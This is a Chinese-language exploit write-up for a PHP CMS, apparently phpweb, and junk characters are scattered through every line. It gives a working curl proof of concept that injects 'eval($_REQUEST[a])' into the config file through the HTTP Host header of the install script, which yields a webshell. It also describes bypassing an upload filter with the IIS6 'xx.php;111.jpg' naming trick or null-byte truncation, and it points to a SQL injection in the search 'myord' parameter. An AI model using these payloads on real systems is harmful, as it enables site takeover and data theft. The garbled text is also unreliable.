注入:
) F( V1 N: \5 p; ^- o7 D5 @+ M
% G) _. R7 F5 o, Q n6 J2 s; }% O) g之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码4 i: Y" C" G$ c! D) O
7 C/ w" P7 {( @
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件* I* S& x5 k3 U0 z( e' k! l
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 a7 e& s5 v% E# M# _( T0 G
5 ^1 C, f, v/ I p( G# M( l
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 I1 z! ^) n4 I* D5 A
% r- r' ]0 r& P+ f7 E7 X
分析:6 Z& i1 V' ?- n( t
6 n& s5 y* h+ q$ k& e' s & V/ \7 I- y, N, p: T2 X9 }& K+ `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤: H, U) R* k: q
. l" B7 B I! d* Z& i0 e $filestr = fread(fopen($SysConfigFile, 'r'),30000);! k" i" `1 U2 G% e: y
$filestr=str_replace(" ","",$filestr);2 W9 y6 G& \: q5 L) t
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);8 c% ~4 L) L" _! S4 g6 W5 m+ r
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 G7 x( }4 D6 z" F, C $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; q. }: p- k1 [, {9 l2 P! [
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
( t0 C: u3 C4 w( x $filestr=str_replace("DefaultsLan","zh_cn",$filestr);! b5 M1 A8 M% Z4 G* B5 P0 Z( ~
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 V X5 x7 s9 j2 c
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
6 Q. [2 t2 Z9 |5 l
- S" X0 ]: K; A& n fwrite(fopen($ConFile,"w"),$filestr,30000);" p" `/ d% O$ {7 a+ N
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^, y6 w3 ]. F( h; E; X5 N* j
* j3 U" t3 p% R5 h7 epoc:
1 C4 n4 U3 Q6 K4 ~2 }- R 3 }7 \$ K' M: z: K* `( Q; _9 Y
?
Q6 r3 F+ e- y2 M1% g# X9 m9 L9 r
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
/ k8 {8 B6 ^) j. L* j+ L( \' Kshell地址: /config.inc.php! U5 [/ M$ G0 k6 K( l: {
跟之前的 phpcms一样 需要远程数据库
5 X% w5 G& x- E6 ]' a1 I # O' ]; N- M; G
——————————————————–
$ s' `8 A0 ^ `0 X! m上传漏洞(需要进后台):9 r0 @5 v5 @5 H2 {9 ^
漏洞文件: /kedit/upload_cgi/upload.php/ @4 e6 y& j( m9 Y% u
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! g4 S5 r5 ~: H
# {% w$ ]. G: A7 ?* I5 s( f + |7 M4 M- b6 R3 R& Q1 W8 K
<?php
- s1 k' H# J" A# V/ g% L define("ROOTPATH", "../../");+ l: j8 U, Q. o' ?5 J% i
include(ROOTPATH."includes/admin.inc.php");
g2 E: K) x1 o, X6 ]5 Q3 B. v" c NeedAuth(0);
5 z; N3 m( E) F( h& S
1 a/ L: G# H: N1 ?4 V0 e $dt=date("Ymd",time());, v- W, w4 E: d4 X; ^
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){3 x, l7 V3 e, C/ w5 U/ [( P
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
) C- }/ j# t: U& e$ S! \3 G }
E% C5 \: T8 S( Q% v5 [% V
; c# p1 K9 A7 A7 R/ `7 K //文件保存目录路径; y+ H( y9 ~/ ~
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';. _' c0 ], B/ \; Q" c4 R2 h- e
echo $save_path;7 A! j8 A! n; E# u# h) X1 ^! a
//文件保存目录URL
3 g! l, G! Q: b8 o& j. R $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 n5 b/ q$ _; { k: C
) y6 K; o# Z m3 R' h //定义允许上传的文件扩展名4 L% \+ F2 Q* l A0 t" T4 a, `8 H
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
; M2 F5 F9 d' Z) X0 e. J : j1 x. n' A( H, s
//最大文件大小
' ]% Y) `1 l1 w" b( _* N3 W5 i# S $max_size = 1000000;: F5 w' T1 ~6 j) J7 g, ^9 b
1 M. J- {7 g O+ L. j# T: d% [& B
//更改目录权限
* I0 Q% W8 d" g/ g6 F: Q$ K @mkdir($save_path, 0777);
8 Q) N/ U. y4 \" h; |8 H
2 P1 K& l, a4 t0 }( u //文件的全部路径6 ~4 G9 e0 x x, b5 X9 j+ O$ }
$file_path = $save_path.$_POST['fileName']; //保存文件名) V% n; I6 z0 n* C/ W) f
' J2 @* q6 S5 F1 Z) Q2 H+ y
//文件URL9 u) c. {0 b6 p$ M6 L- C) x$ b1 O
$file_url = $save_url.$_POST['fileName'];
7 Y2 `) }, G/ j7 }# N' u$ H0 e- i//有上传文件时5 C' s) Q) c6 J' W
if (empty($_FILES) === false) {. p6 A' Y: ^. c% k4 }+ h9 `
: h+ M3 J/ l4 Y
//原文件名, K& C3 L) n* A8 J m
$file_name = $_FILES['fileData']['name'];# z( n" ?9 L" n
//服务器上临时文件名
" h, I: }- p6 a0 Q$ P! h $tmp_name = $_FILES['fileData']['tmp_name'];, T9 O$ X% l; T# D+ A) i8 w- G; e
//文件大小" \5 c) N* H5 G) O$ }4 W2 }
$file_size = $_FILES['fileData']['size'];6 U5 ~. S7 F Q0 Q/ \
//检查目录4 f- F& ^. e2 G
if (@is_dir($save_path) === false) {
. X7 h9 u4 |" S alert("上传目录不存在。");. D5 O, S) t% w& S+ P
}
: @4 I2 g9 D9 j //检查目录写权限
7 a1 g" U; Z" i) J if (@is_writable($save_path) === false) {% K3 F+ R; T3 X7 [$ C, i
alert("上传目录没有写权限。");
8 S: `3 M" ]/ d) F: f }( \/ r! i8 p$ v2 v
//检查是否已上传
- e) H! y, L) D. L1 ] if (@is_uploaded_file($tmp_name) === false) {4 V3 V, l5 e' r
alert("临时文件可能不是上传文件。");
" j6 N# u7 H" ? }
9 Q/ [6 I' X0 u. g- t6 n! T //检查文件大小
5 `0 G$ T8 ~5 v' ]% d( K7 b, n if ($file_size > $max_size) {
. Y. @ ?8 r/ S: Q alert("上传文件大小超过限制。");( X* _5 a# }2 U& }& r' i2 j8 L% C
}* U. u; M" {% k
//获得文件扩展名& }: y* ^, x+ B3 M
$temp_arr = explode(".", $_POST['fileName']);
% N- C5 M- ^' i+ C- q. s/ j $file_ext = array_pop($temp_arr);1 `8 a0 Q+ x3 `( P2 O
$file_ext = trim($file_ext);
. J! _4 p8 A' @1 z $file_ext = strtolower($file_ext);: w4 L9 [$ s* }! _- g* y: @
5 N1 b0 r* N/ Q& w //检查扩展名 8 E `6 y7 a6 q# x7 N
if (in_array($file_ext, $ext_arr) === false) {
# Y* V; V1 M, K: E alert("上传文件扩展名是不允许的扩展名。");
: I9 B# y2 K, p+ F }% m$ @, J# A! X1 b
; Z5 I5 L) _* O/ v& u //移动文件
! Z! g9 [$ c' V8 H; T //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
5 \# a$ L- T3 H( O" s! ` if (move_uploaded_file($tmp_name, $file_path) === false) {
; k$ N3 q* x9 d- ` alert("上传文件失败。");
3 j/ B% K1 Q3 z$ W }
. R; [1 U' S0 c; J4 P' D9 t 1 q+ L4 D+ L5 x' ^3 E5 R% ]% f2 N$ b
@chmod($file_path,0666);
, Z: P6 b8 f2 R
! H9 F: y+ y2 v) a ?>
. B% M/ n' D; I( `抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227# Q. ~& Z# |. ^9 T: d8 i. Q
( B1 A. m7 q0 y$ a% W+ r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
( C9 d4 @# G' B' _+ T
' p- I& J' T* I# X, o' C; A——————————————————: X0 R2 Y% c; p! Q# C
注入漏洞:: O: r& N& s- Q) l
漏洞文件:search/module/search.php
9 f% i/ f- R1 c+ {8 L$ I/search/index.php?key=1&myord=1 [sqlinjection] R @) O% f! V
" I8 ^- v0 m& ]" D, C8 J
# Q& R/ W. D% c7 \+ G: i. K p) s<?php! w( h0 ~+ w0 i8 t# g( z
// ... 省略 n 行...; {, E0 S! h F& A
//第18行:' x: L: a' j/ l. W) F$ E2 h6 P! M
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响& W# L: |/ N% w
$page=htmlspecialchars($_GET["page"]);
9 i( Z8 ~0 W E8 b5 a0 C& s8 [ $myord=htmlspecialchars($_GET["myord"]);
2 `: \2 _, D X, L, F 8 A" x& {6 E- N! m: M
// ... 省略 n 行...
6 x( V5 J8 Y4 n# C $key,$myord 两个参数带入查询
0 H& a& R& N5 y! k) P. G2 ]2 G, j //第47行 $key:- L9 d$ G+ V* X# O A
7 l/ O6 C* {, M/ @9 T3 v0 J
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 I5 b) h5 M) _$ e6 `; f) J # K# B8 t( L- S
//第197行 $myord$ t. z7 N/ w7 }2 m2 b
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入* W9 H5 W$ r& c/ J' M$ q2 D+ {
7 u+ y4 z& l5 j! n! s. S; _* ^ ?>8 w. `0 _; u& C; R! {
|